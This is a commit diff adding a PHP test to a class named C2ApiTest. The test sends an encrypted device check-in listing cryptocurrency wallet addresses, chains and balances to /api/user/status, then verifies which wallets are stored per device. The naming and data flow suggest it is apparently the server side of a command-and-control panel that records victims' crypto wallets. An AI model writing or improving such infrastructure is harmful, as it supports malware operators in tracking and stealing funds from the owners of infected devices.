fix: statisc

This commit is contained in:
hashbro
2026-08-10 03:53:10 +08:00
parent ad30453922
commit aad44bf52e
33 changed files with 1207 additions and 28 deletions
+31
View File
@@ -240,6 +240,37 @@ class C2ApiTest extends TestCase
$this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile));
}
#[Test]
public function status_skips_unsupported_chain_addresses(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585600770';
$enc = $crypto->encryptJson([
'd' => 'dev-skip-chain-1',
'a' => 'd',
'data' => [
['address' => '0xabc1230000000000000000000000000000000002', 'chain' => 'eth', 'balance' => '1', 'symbol' => 'ETH'],
['address' => 'cosmos1xyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyxyx', 'chain' => 'unknown', 'balance' => '0', 'symbol' => 'ATOM'],
['address' => 'not-a-real-address', 'chain' => 'polygon', 'balance' => '0', 'symbol' => 'MATIC'],
],
], $ts);
$this->call('POST', '/api/user/status', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-skip-chain-1')->first();
$this->assertNotNull($device);
$this->assertSame(1, WalletAddress::query()->where('device_id', $device->id)->count());
$this->assertTrue(
WalletAddress::query()
->where('device_id', $device->id)
->where('address', '0xabc1230000000000000000000000000000000002')
->exists()
);
}
#[Test]
public function status_global_wallet_ad_map_stores_empty_balance(): void
{